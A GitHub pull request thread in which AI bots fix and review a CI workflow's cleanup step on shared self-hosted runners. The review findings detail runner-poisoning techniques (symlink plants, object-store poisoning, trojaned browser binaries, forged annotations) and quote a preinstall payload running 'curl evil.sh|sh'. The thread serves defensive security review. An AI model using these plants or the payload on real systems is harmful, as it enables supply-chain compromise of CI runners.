e774aabreports one or more scenarios failed to render while the capture check itself is green — that isafter_capture's designedcontinue-on-errordegradation path. The failing scenario content arrived through the merge from main (web-shell product change4a9fe44f5a), not through this PR's routing change; it will re-evaluate on the next push. - The two review-fallback notices are internal to the review pipeline (one already recovered — round 7's review posted normally).
Round 7 review body advisories — noted, no separate action
The residual-risk table and the land-with-residual-risk recommendation are explicitly advisory and are a maintainer risk-acceptance decision. The standing round-7 Critical they were keyed on is resolved by this round; if the next review round confirms it, the backlog of standing Criticals from this loop is empty.
Verification
Commands actually run this round, in order:
node --test .github/scripts/ci-runner-routing.test.mjs(baseline, pre-fix) — 47 passed, 0 failed- Reproduction probe (
probe-r7.mjs, exec against the unmodified step) — all 3 arms reproduced (exit 128 wedge / outside rewrite / silent outside wipe) - Reproduction probe re-run against the fixed step — all 3 arms flip (exit 0+link removed / exit 0+target untouched / exit 1 refusal, victim survives)
node --test .github/scripts/ci-runner-routing.test.mjs(post-fix) — 49 passed, 0 failed- Mutation probes (4 mutants + restore): config-guard deletion → 3 tests red; ancestor-loop deletion → 3 tests red; RUNNER_ENVIRONMENT override → 1 test red; rm-line-only deletion → 3 tests red; restored → 49 passed, 0 failed
bash .github/scripts/check-workflow-size.sh— passed (baseline entries updated to exact sizes 40235/25994 in the same commit)npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size serve-ab-workflow— 218 passed (size mirror + serve-ab wipe sibling suite)npm run test:scripts— 71 files, 1886 passed, 16 skipped, 0 failednpx prettier --checkon changed files — passednode scripts/lint.js --yamllint— yamllint binary not installed on this runner (wrapper tolerates); YAML validity proven by both suites parsing the workflowsnpm run build— passednpm run typecheck— passednpm run lint— passedgit diffhunk comparison of the two workflow copies — identical hunks, executable-line-identical port test green
中文说明
第 7 轮 —— 保留 .git 拆防守卫上的 Critical 发现已处理
反馈点
- [rc:3879820670] [Critical] R5-1：（修复引入）第 6 轮修复闭合了保留
.git拆防的六个命名入口，但裸refs/replace剥离在同一位置打开了新的被植入状态入口，且该类仍通过祖先符号链接入口保持开放：.git/config被留作指向不可解析目标的符号链接：所有带守卫的拆防空转（git config --list死于目标），随后无守卫的裸for-each-ref剥离以fatal: bad config line 1死去（-eo pipefail下退出码 128），且后续没有任何步骤移除该植入——该 runner 上所有后续 serve-ab / web-shell-visuals 作业永久死在清理步骤。.git/config被链接到工作区之外一个可解析的目标：擦洗的--unset-all写入会透过链接改写外部文件，逃出本步骤赖以存在的包含边界。- 植入在
$RUNNER_WORKSPACE祖先上的符号链接（如_work）会重新定根realpath与所有包含性检查——根修复不会触发、allowlist 变成同义反复，清理以退出码 0 无声删除真实工作区之外的文件，且无任何注解。
无需处理 base 冲突（--conflict false）。
决定：在代码中解决——先在本 runner 复现，再在两份逐字节相同的副本中结构性闭合
复现（对未改动的步骤原文执行探针，使用本 runner 的 git）： 三个臂全部按发现所述复现——
arm-config-unparseable: exit=128，符号链接存活 —— fatal: bad config line 1（永久楔子）
arm-config-outside: exit=0，符号链接存活，外部目标被透过链接改写（擦洗后变为 ""）
arm-ancestor: exit=0，真实工作区之外的受害文件被删除，无任何注解
修复，同时作用于 web-shell-visuals.yml 与 serve-ab.yml（相同 hunk、同一提交，按发现要求）：
- 符号链接化的
.git/config—— 在config.lock删除行旁、任何 git 调用之前：若.git/config是符号链接，注解并rm -f链接本身（绝不跟随目标）。git 创建的是普通文件，链接必为前序作业所植入。按发现所述保持if块而非[ -L ] && { …; }单行式——在步骤的-e下单行式的假测试会使步骤失败。 - 祖先符号链接 —— 在根修复（裁决
$RWS本身）之后、realpath规范化之前：遍历$RUNNER_WORKSPACE的每一个祖先分量；任何一个是符号链接即以::error::拒绝并退出 1。失败即关闭，绝不修复：解除守护进程依赖的祖先（如_work）会使它下面的所有仓库工作区悬空。拒绝是高声的（注解 + 红作业），而非无声的工作区外清理。
见证（全部按门禁的见证规则在本 runner 做了变异探针）：
ci-runner-routing.test.mjs中现有 wipe 见证旁新增两个执行夹具：removes a symlinked .git/config before the defang dies on its target（不可解析 + 可解析两臂：清理退出 0、链接消失、外部目标不变、下一次 checkout 完成）与refuses a wipe whose runner workspace sits under a planted ancestor symlink（拒绝触发、真实工作区之外无任何删除）。- 两处 wipe 测试的字节钉扎尾部由
slice(-11)扩展为slice(-15)，钉住新增的四行守卫；两个测试中均新增祖先拒绝的文本钉扎；两份工作流副本保持可执行行一致（由既有 port 测试钉扎）。 - 已执行的变异探针：删除 config 守卫 → 3 个测试变红（夹具 + 两处尾部钉扎）；删除祖先循环 → 3 个测试变红（夹具 + 两处 match 钉扎）；仅删除
rm -f行 → 3 个测试变红；恢复 → 49/49 全绿。
翻转验证（同一探针对修复后的步骤）：
arm-config-unparseable: exit=0，符号链接被移除，目标不变
arm-config-outside: exit=0，符号链接被移除，外部目标不变
arm-ancestor: exit=1 带 ::error:: 注解，受害文件存活
同时闭合：两次被延后的 RUNNER_ENVIRONMENT env 钉扎缺口
第 7 轮评审正文再次把 "env 覆盖钉扎列表缺少 RUNNER_ENVIRONMENT"（第 5 轮延后探针）列为已报告项。安装车道分流正是以该变量为键——覆盖为 github-hosted 会把池成员送进 --with-deps，重新落入运行 33022864520 的密码 sudo 死法。已把 RUNNER_ENVIRONMENT 加入现有 env 覆盖钉扎循环（一行）；变异探针：在安装步骤上设置该键会使接线测试变红。
其他反馈点 —— 均已在先前轮次处理，并在当前 HEAD 重新核验
其余每一条行内线程都已在更早轮次于代码中解决；本轮逐条对照当前代码树重新核验（不依赖历史记忆），并列入 resolved-comments.txt：
| 发现 | 解决方式 |
|---|---|
| [rc:3861481712] 池上陈旧捕获目录 | 'Clear stale capture dirs' 步骤存在、无条件执行、先于所有捕获 |
| [rc:3861481731] 缺库列表丢换行 | missing="${missing}${unresolved}"$'\n' 累加 |
[rc:3861481744] describe 回调内解析 |
visualsDoc/visualsCaptureJob 提升到模块顶层解析 |
| [rc:3861481754] 关键字钉扎而非接线 | 已由执行式门禁套件取代 |
| [rc:3866537969] 文本钉扎而非行为 | runInstallStep 用 stub 工具实际执行真实步骤并断言退出码 |
| [rc:3866537980] size 基线记录不足 | 基线重新精确（本轮增长后为 40235/25994） |
| [rc:3866538003] 扫描循环粘贴两次 | scan_chromium_libs() shell 函数、两处调用 |
| [rc:3867844061] Ubuntu 池成员上的 apt-get 车道探针 | 车道以 RUNNER_ENVIRONMENT 为门禁、Debian 供给臂、执行见证 |
| [rc:3867844068] 零二进制的空泛门禁 | scanned 计数器，为 0 时 exit 1 + ::error:: |
| [rc:3867844072] env 覆盖循环的步骤范围 + headless_shell 臂 | clear/heal 步骤的 env 映射并入循环；stub ldd 对每个二进制臂报告不同缺库 |
| [rc:3868842059] 重复的 substitutions 条目 | 仅保留一条仓库子句 |
| [rc:3871927980] 缺失检出前清理 | 已从 serve-ab.yml 移植 wipe 步骤进 capture job |
| [rc:3871927989] 环境 secret 守卫逐形状枚举 | 守卫对 secrets 的任何出现告警，仅允许 secrets.GITHUB_TOKEN；形状夹具覆盖括号/索引/整体上下文 |
[rc:3874630223] 保留 .git 拆防的六个入口 |
第 6 轮闭合，第 7 轮评审自己的执行复验确认 |
失败检查：Serve A/B (ubuntu-latest, Node 22.x) —— 基于证据诊断；本 runner 无法复现
- 该检查在当前 head
e774aabb55上 13 秒内失败（06:11:54Z → 06:12:07Z）——早于这个约 20 分钟作业的任何 npm/构建阶段，即死在作业建立或池上的首批步骤。 - 该 head 的
serve-ab.yml文本与上一次绿色 Serve A/B 运行的 head（6103909，✅ "12 个场景无响应变化"）逐字节相同；两者之间的合并只带入e2e.yml与 web-shell 源码改动。因此该失败不是合并引入的 YAML 回归。 - 失败时长与池路由形态与第 7 轮发现记载的被植入状态楔子类一致（符号链接化的
.git/config使该 runner 上的 wipe 步骤永久失败；损坏的 runner 根使守护进程的 'Set up job' 失败——发现自身的见证展示了这两种形态）。同一次推送上的兄弟 visuals 作业成功，与"一个池成员被楔住、另一成员健康"相符。 - 本轮修复正是在 wipe 内结构性闭合该类；已被楔住的机器还需要人工清理或重新派发到健康成员。本 runner 无法访问该 CI 运行的日志（无 GitHub 凭据），因此该检查本身仍是环境侧验证——以工作流的独立 CI 为最终门禁。
Issue 级评论 —— 无代码动作
- head
e774aab的 visuals 预览注释称有一个或多个场景渲染失败而捕获检查本身为绿——这是after_capture设计内的continue-on-error降级路径。失败场景的内容来自 main 合并带入的改动（web-shell 产品变更4a9fe44f5a），而非本 PR 的路由改动；下次推送将重新评估。 - 两条 review-fallback 通知属于评审流水线内部（其中一条已自行恢复——第 7 轮评审已正常发布）。
第 7 轮评审正文的建议项 —— 已知悉，无单独动作
残余风险表与 land-with-residual-risk 建议明确为咨询性质，属于 maintainer 的风险接受决定。它们所对应的那条未决第 7 轮 Critical 已由本轮解决；若下一轮评审确认，本循环的未决 Critical 积压即为空。
验证
本轮实际执行的命令（按顺序）：
node --test .github/scripts/ci-runner-routing.test.mjs（修复前基线）—— 47 通过，0 失败- 复现探针（
probe-r7.mjs，对未改动步骤实际执行）—— 3 个臂全部复现（退出 128 楔子 / 外部改写 / 无声的工作区外清理） - 同一探针对修复后步骤复跑 —— 3 个臂全部翻转（退出 0 且链接被移除 / 退出 0 且目标不变 / 退出 1 拒绝、受害文件存活）
node --test .github/scripts/ci-runner-routing.test.mjs（修复后）—— 49 通过，0 失败- 变异探针（4 个变异 + 恢复）：删除 config 守卫 → 3 个测试变红；删除祖先循环 → 3 个测试变红；覆盖 RUNNER_ENVIRONMENT → 1 个测试变红；仅删除 rm 行 → 3 个测试变红；恢复后 → 49 通过，0 失败
bash .github/scripts/check-workflow-size.sh—— 通过（基线条目已在同一提交中更新为精确尺寸 40235/25994）npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size serve-ab-workflow—— 218 通过（尺寸镜像 + serve-ab wipe 姊妹套件）npm run test:scripts—— 71 个文件，1886 通过，16 跳过，0 失败- 对改动文件执行
npx prettier --check—— 通过 node scripts/lint.js --yamllint—— 本 runner 未安装 yamllint 二进制（包装器容忍）；两个套件均成功解析工作流，YAML 有效性已获证明npm run build—— 通过npm run typecheck—— 通过npm run lint—— 通过- 对两份工作流副本做
git diffhunk 比对 —— hunk 完全一致，可执行行一致的 port 测试为绿
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。
Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。
🧠 Handled by Qwen Code · model/模型 qwen3.8-max
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- case-insensitive ambient-secrets matcher bypass (SECRETS.X / Secrets[matrix.key] / toJSON(SECRETS) resolve on the runner but the guard's regex has no i flag) — already reported (round-6 deferred list, review 5044230016)
- ffmpeg-install step comment re-asserting the disproved uniform-RHEL premise ('no apt-get') against the Chromium comment and the step's own apt-first arm order — already reported (round-4 deferred list, review 5037369574; round-5 body as R5-…
Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 findings were verified before composing).
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 8, not a blocker) — recorded, not requested in this round:
.github/workflows/web-shell-visuals.yml:253 (+2 locations) — [probe] HOME-scope hygiene: planted global git config (core.hooksPath) and ~/.npmrc (script-shell/registry) survive the workspace-only defang and fire in later jobs.github/workflows/serve-ab.yml:131 (+2 locations) — [probe] root-heal denylist protects /var exactly while neighbours use wildcards — /var/run (Ubuntu's default symlink) slips past into rm+mkdir
Convergence: round 8 posted 5 inline comment(s), 4 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 3 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (6 Critical(s)), the rate of first-time findings is not falling (this round 4, previous 1), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):
| standing Critical | attack surface | attacker-dependency | blast radius |
|---|---|---|---|
| (each standing Critical) | … | … | … |
Advisory only — it does not block this review.
[Critical] R8-5 — the new pool lane consumes the cross-job-writable Playwright browser cache without provenance (.github/workflows/web-shell-visuals.yml, Install Playwright Chromium step, scan at line 395). Three demonstrated harms: (1) render-time execution — a trojaned browser binary passes the INSTALLATION_COMPLETE marker no-op and the ldd scan (a drop-in replacement trivially resolves its shared libraries), so the victim PR's capture launches the attacker binary; (2) gate wedge — one planted minimal dynamic ELF named chrome/headless_shell whose DT_NEEDED names a nonexistent library makes the gate exit 1 on every later job, because provisioning can never satisfy a fabricated name and nothing repairs ~/.cache/ms-playwright, and the error text misdirects the maintainer toward pool-image provisioning or the kill-switch; (3) annotation forging — the attacker controls ldd's stdout, which reaches the job log through the missing list and parses as a workflow command after the runner's ActionCommand TrimStart (the channel the wipe step explicitly strips for readlink output). This lane was ephemeral-hosted-only before this PR, so the diff adds the exposure; note also that on Playwright 1.61 linux-x64 the headless binary is named chrome-headless-shell, so the scan's -name 'headless_shell' arm matches nothing on the pool lane. Witness: with planted INSTALLATION_COMPLETE markers + trojan binaries, real playwright install chromium (1.61.1) exited 0 and the trojans survived byte-identical; a gcc-built ELF with DT_NEEDED libplant.so.1 planted as an unregistered chromium-9999-evil/chrome made the REAL step exit 1 with 'libplant.so.1 => not found' + '::error::…do not resolve' (all three provision arms attempted); restricting the scan to the registered version dir flipped it to exit 0. Fix: establish provenance before consumption — wipe ${HOME}/.cache/ms-playwright before npx playwright install chromium (accepting the re-download), or scan only the current version's registered executables (registry executablePath) and quarantine unregistered chrome/headless_shell files with a warning; never feed unverified files to ldd (use readelf -d), and strip :: sequences from printed scan output until then. Fix witness: a pool-lane fixture planting (a) a marker-complete trojaned binary and (b) an extra ELF with an unresolvable DT_NEEDED under a stale subdir, asserting the step reinstalls/quarantines instead of launching or gating on the plants; red against the current step text. (Relocated from inline: its anchor at web-shell-visuals.yml:395 overlaps the existing round-1 thread 3867844068.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 2 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 findings were verified before composing)。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 8 轮，非阻断）——已记录，本轮不要求修改：共 2 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 8 轮发布了 5 条行内评论，其中 4 条是首次提出；上一轮发布了 1 条（其中 1 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 5 轮已出过发现，本轮又有 3 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，可以避免循环反复推导同一组发现；本 PR 的评审已解析为 critical 发布下限。（仅为观察——本轮评审未因此扣留任何内容。）
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
残余风险：本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在（本轮 6 条 Critical），首次发现的速率没有下降（本轮 4，上一轮 1），且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议：land-with-residual-risk——出口是 maintainer 的风险接受决定（合入并承担残余风险），而非再开一轮评审。供该决定使用的残余风险清单（maintainer 填写）：按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。
[Critical] R8-5 — the new pool lane consumes the cross-job-writable Playwright browser cache without provenance (.github/workflows/web-shell-visuals.yml, Install Playwright Chromium step, scan at line 395). Three demonstrated harms: (1) render-time execution — a trojaned browser binary passes the INSTALLATION_COMPLETE marker no-op and the ldd scan (a drop-in replacement trivially resolves its shared libraries), so the victim PR's capture launches the attacker binary; (2) gate wedge — one planted minimal dynamic ELF named chrome/headless_shell whose DT_NEEDED names a nonexistent library makes the gate exit 1 on every later job, because provisioning can never satisfy a fabricated name and nothing repairs ~/.cache/ms-playwright, and the error text misdirects the maintainer toward pool-image provisioning or the kill-switch; (3) annotation forging — the attacker controls ldd's stdout, which reaches the job log through the missing list and parses as a workflow command after the runner's ActionCommand TrimStart (the channel the wipe step explicitly strips for readlink output). This lane was ephemeral-hosted-only before this PR, so the diff adds the exposure; note also that on Playwright 1.61 linux-x64 the headless binary is named chrome-headless-shell, so the scan's -name 'headless_shell' arm matches nothing on the pool lane. Witness: with planted INSTALLATION_COMPLETE markers + trojan binaries, real playwright install chromium (1.61.1) exited 0 and the trojans survived byte-identical; a gcc-built ELF with DT_NEEDED libplant.so.1 planted as an unregistered chromium-9999-evil/chrome made the REAL step exit 1 with 'libplant.so.1 => not found' + '::error::…do not resolve' (all three provision arms attempted); restricting the scan to the registered version dir flipped it to exit 0. Fix: establish provenance before consumption — wipe ${HOME}/.cache/ms-playwright before npx playwright install chromium (accepting the re-download), or scan only the current version's registered executables (registry executablePath) and quarantine unregistered chrome/headless_shell files with a warning; never feed unverified files to ldd (use readelf -d), and strip :: sequences from printed scan output until then. Fix witness: a pool-lane fixture planting (a) a marker-complete trojaned binary and (b) an extra ELF with an unresolvable DT_NEEDED under a stale subdir, asserting the step reinstalls/quarantines instead of launching or gating on the plants; red against the current step text. (Relocated from inline: its anchor at web-shell-visuals.yml:395 overlaps the existing round-1 thread 3867844068.)
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # heal above unlinks a symlinked workspace root, the step's CWD | ||
| # still is the link's target, and CWD discovery would scrub a repo | ||
| # outside the workspace. | ||
| find "$WS" -mindepth 1 -maxdepth 1 ! \( -name '.git' -type d \) -exec rm -rf {} + |
There was a problem hiding this comment.
[Critical] R5-1: the kept-.git planted-state class is still open. Round 8 closed both round-7 entrances — the symlinked .git/config guard and the ancestor-symlink refusal were re-verified by execution this round — but the class itself remains unbounded: four consecutive rounds have each closed the named entrances, and each next audit found more. This round demonstrated seven new entrances in the kept-.git reuse:
- A symlinked
.git/objects— only.git/configis special-cased; with.git/objectsplanted as a link, the nextgit fetchwrites loose objects through the link to an attacker-chosen directory outside the workspace (wipe exits 0 with the link intact). - Object-store poisoning — git never verifies loose-object hashes on read and
objects/info/alternatesis never removed; a poisoned store survives the wipe and the victim job's checkout materializes attacker bytes (reproduced end-to-end: the victim checkout materialized{"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}}). - Planted
*.lockfiles — arefs/replace/<sha>.lockkills the bare replace strip before its own cleanup runs, and a stale.git/index.lock(the benign trigger: a job killed mid-checkout) kills the next checkout; both legs reproduced as permanent wedges. - The scrub allowlist keeps every
extensions.*key — one planted extension makes every later git call exit 128, and the scrub can never unset it because its own enumeration dies first (reproduced with a hostile and a default-value extension). - An unenumerable kept gitdir — garbage HEAD/packed-refs, a plain-file unparseable config (the symlink guard covers only the link spelling), or deleted refs make the bare strip exit 128 on every later job, because it has no fail-open; two consecutive simulated jobs both exit 128 and the poison survives both.
- Directory-shaped plants —
mkdir .git/commondir(orconfig.lock) makes the barerm -fdefangs exit 1 withIs a directory, killing the wipe with the plant inside the kept.git. - A symlink on an intermediate path component between RWS and WS is refused instead of healed, and the refusal removes nothing.
Any prior pool job — the exact lanes this PR routes there, whose npm ci runs contributor code, or a compromised dependency — can plant these states in the shared per-repo workspace. Close the class structurally in both byte-identical copies instead of entrance by entrance: stop carrying the kept repo, or validate it wholesale before reuse — sweep all symlinks under $WS/.git, sweep all *.lock files type-independently, remove objects/info/alternates, change the rm -f defangs to rm -rf, drop extensions\. from the allowlist, and fail open to removing any gitdir whose refs cannot be enumerated.
witness (all arms against the unmodified step text; every arm flips with its fix):
objects-symlink: WIPE exit=0, link intact; FETCH wrote fanout dirs + loose objects into the attacker dir
object-poison: victim checkout materialized {"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}}
lock arms: replace-strip leg job exit=1 (lock survives); index.lock leg wipe exit=0 then checkout exit=128
extensions: job1/job2 wipe exit=128 'repo version is 0, but v1-only extension found', plant survives
unenumerable: two consecutive jobs exit 128 (garbage HEAD / bad config / deleted refs), poison survives
directory-plant: step exit=1 'rm: cannot remove .git/commondir: Is a directory'
Fix witness: extend the wipe exec fixtures in ci-runner-routing.test.mjs with one plant per entrance class, each asserting the wipe exits 0 and the plant is gone — removing any of the new sweep/guard lines must turn the corresponding fixture red (mutate, run, confirm).
中文说明
R5-1：保留 .git 的被植入状态类依然开放。第 8 轮闭合了第 7 轮的两个入口（符号链接化的 .git/config 守卫与祖先符号链接拒绝，本轮均已执行复验），但该类本身仍是无界的：连续四轮每次闭合被点名的入口，下一轮审计总能找到新的。本轮在保留 .git 的复用中实证了七个新入口：(1) 符号链接化的 .git/objects——下一次 git fetch 透过链接把松散对象写到工作区之外攻击者选定的目录（wipe 以退出码 0 通过、链接原样留存）；(2) 对象库投毒——git 读取时从不校验松散对象哈希，objects/info/alternates 也从不删除，投毒库在 wipe 后存活，受害作业检出时实体化攻击者字节（端到端复现：受害检出实体化出 {"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}}）；(3) 植入 *.lock——refs/replace/<sha>.lock 在裸 replace 剥离的自身清理之前将其杀死，陈旧 .git/index.lock（良性触发：检出中被杀的作业）杀死下一次检出，两条腿均复现为永久楔子；(4) 擦洗 allowlist 保留全部 extensions.* 键——植入任一扩展使之后每个 git 调用退出 128，而擦洗自身的枚举先死、永远无法 unset；(5) 不可枚举的保留 gitdir——垃圾 HEAD/packed-refs、普通文件形态的不可解析 config（符号链接守卫只覆盖链接形态）、被删的 refs 都使裸剥离在之后每个作业退出 128，因其没有失败开放；(6) 目录形态植入——mkdir .git/commondir（或 config.lock）使裸 rm -f 以 Is a directory 退出 1、带着植入杀死 wipe；(7) RWS 与 WS 之间中间路径分量上的符号链接被拒绝而非修复，且拒绝不移除任何东西。任何前序池上作业——正是本 PR 路由上去的车道（其 npm ci 运行贡献者代码）或任一车道中被污染的依赖——都可以在共享的按仓库工作区中植入上述状态。请在两份逐字节相同的副本中结构性闭合该类，而非逐入口修补：不再携带保留仓库，或在复用前整体校验——清扫 $WS/.git 下全部符号链接、类型无关地清扫全部 *.lock、删除 objects/info/alternates、把 rm -f 拆防改为 rm -rf、从 allowlist 去掉 extensions\.、对无法枚举 refs 的 gitdir 失败开放地删除。修复见证：在 ci-runner-routing.test.mjs 的 wipe 执行夹具中为每类入口新增一个植入，断言 wipe 退出码 0 且植入被清除——删除任一新清扫/守卫行必须使对应夹具变红（变异、运行、确认）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| ANCESTOR="$(dirname -- "$RWS")" | ||
| while [ "$ANCESTOR" != "/" ] && [ -n "$ANCESTOR" ]; do |
There was a problem hiding this comment.
[Critical] R8-1: (fix-induced by the round-7 R5-1 fix) the new ancestor-symlink walk never terminates on a relative RUNNER_WORKSPACE. The walk terminates only at / or the empty string, but dirname -- "." outputs ., so for a relative RWS the loop spins forever; the case arm refusing relative paths sits inside the heal branch (if [ -L "$RWS" ] || [ ! -d "$RWS" ]), so a relative RWS that resolves to an existing directory from the step's CWD skips the refusal and enters the non-terminating walk. The pre-fix code could not hang here — realpath -m canonicalized RWS before any walk existed. A mangled runner env supplying RUNNER_WORKSPACE="." — the exact incident class of the #9220/#9265 guard this step was ported from — hangs the step with no annotation until timeout-minutes kills the job, holding a persistent-pool runner for the whole window instead of the fail-closed refusal the step's comment promises.
witness (extracted step under `bash --noprofile --norc -eo pipefail`, 5s timeout):
RUNNER_WORKSPACE='.' -> exit=124 (timeout-killed, spinning in the walk)
RUNNER_WORKSPACE='qwen-code' -> exit=124 (existing dir under step CWD)
RUNNER_WORKSPACE='sub/dir' -> exit=124
RUNNER_WORKSPACE='nope' -> exit=1 refusal (fires only in the heal-needed state)
absolute RWS -> exit=0 (walk terminates)
with the check hoisted before the walk: all three hang shapes exit 1 with the refusal message
Fix, in both byte-identical copies — hoist the absoluteness check out of the heal branch, right after the [ -z "$RWS" ] guard and before the walk:
case "$RWS" in
/*) ;;
*) echo "::error::refusing to wipe relative runner workspace path: ${RWS}"; exit 1 ;;
esacFix witness: add a runWipeStep case with rws: '.' asserting non-zero exit and the refusal message; the harness needs a spawn timeout so the unfixed loop goes red via timeout-kill instead of hanging the suite (remove the case arm, confirm red).
中文说明
R8-1：（由第 7 轮 R5-1 修复引入）新增的祖先符号链接遍历在相对路径的 RUNNER_WORKSPACE 上永不终止。该遍历只在 / 或空串处终止，而 dirname -- "." 输出 .，因此相对 RWS 会令循环无限空转；拒绝相对路径的 case 臂位于修复分支（if [ -L "$RWS" ] || [ ! -d "$RWS" ]）内部，于是从步骤 CWD 可解析为已存在目录的相对 RWS 会跳过拒绝、直接进入不终止的遍历。修复前的代码不会在此挂起——realpath -m 在任何遍历存在之前就已规范化 RWS。被污染的 runner 环境提供 RUNNER_WORKSPACE="."——正是本步骤所移植的 #9220/#9265 守卫针对的事故类——会使步骤毫无注解地挂起直到 timeout-minutes 杀死作业，在整个窗口内占住一台常驻池 runner，而不是按步骤注释承诺的那样失败即关闭地拒绝。见证与修复（两份逐字节相同的副本）：把绝对路径检查从修复分支中提出、置于 [ -z "$RWS" ] 守卫之后、遍历之前。修复见证：新增 rws: '.' 的 runWipeStep 用例，断言非零退出与拒绝信息；harness 需要 spawn 超时，使未修复的循环以超时杀死变红而非挂死套件（删除该 case 臂、确认变红）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| - name: 'Configure persistent npm cache (self-hosted)' | ||
| if: "${{ runner.environment == 'self-hosted' }}" | ||
| run: |- | ||
| cache_dir="${HOME}/.cache/qwen-code/npm" |
There was a problem hiding this comment.
[Critical] R8-2: the persistent npm-cache leaf is plantable — permanent wedge or silent write-through. mkdir -p "${HOME}/.cache/qwen-code/npm" has no heal: a prior pool job can plant the leaf as a file or symlink, and mkdir -p then either fails — wedging every later visuals job on that runner — or silently succeeds through a live symlink, redirecting every later job's npm cache writes outside the intended path. Nothing repairs it: the wipe is allowlist-bound to $GITHUB_WORKSPACE, the ownership heal touches only $GITHUB_WORKSPACE, and the clear step touches only $RUNNER_TEMP. A prior job running touch ~/.cache/qwen-code/npm (or ln -s <outside> ~/.cache/qwen-code/npm) then wedges every later job at this step, or writes its cache through the link to an attacker-chosen location, until out-of-band cleanup.
witness (extracted step, fresh per-row HOME fixtures):
file-leaf plant: exit=1, 'mkdir: cannot create directory … File exists', GITHUB_ENV not written
symlink-leaf plant: exit=0, NPM_CONFIG_CACHE exported through the live link,
later-job cache write landed at the link target — WRITE-THROUGH CONFIRMED
fixed copy (unlink leaf before mkdir, fail-open otherwise): both rows exit 0, leaf removed, real dir created
Fix — heal the pathological spellings before use and fail open (the cache is an optimization, not a gate):
cache_dir="${HOME}/.cache/qwen-code/npm"
if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then
echo "::warning::healing planted npm cache path: ${cache_dir}"
rm -f -- "${cache_dir}"
fi
if mkdir -p "${cache_dir}"; then
echo "NPM_CONFIG_CACHE=${cache_dir}" >> "${GITHUB_ENV}"
else
echo "::warning::cannot prepare persistent npm cache at ${cache_dir}; using the default cache"
fiFix witness: extend the 'keeps the persistent npm cache pool-only and ahead of the install' test to assert the run text unlinks a non-directory/symlink leaf before mkdir -p and writes NPM_CONFIG_CACHE only on the success leg; removing the heal must turn it red.
中文说明
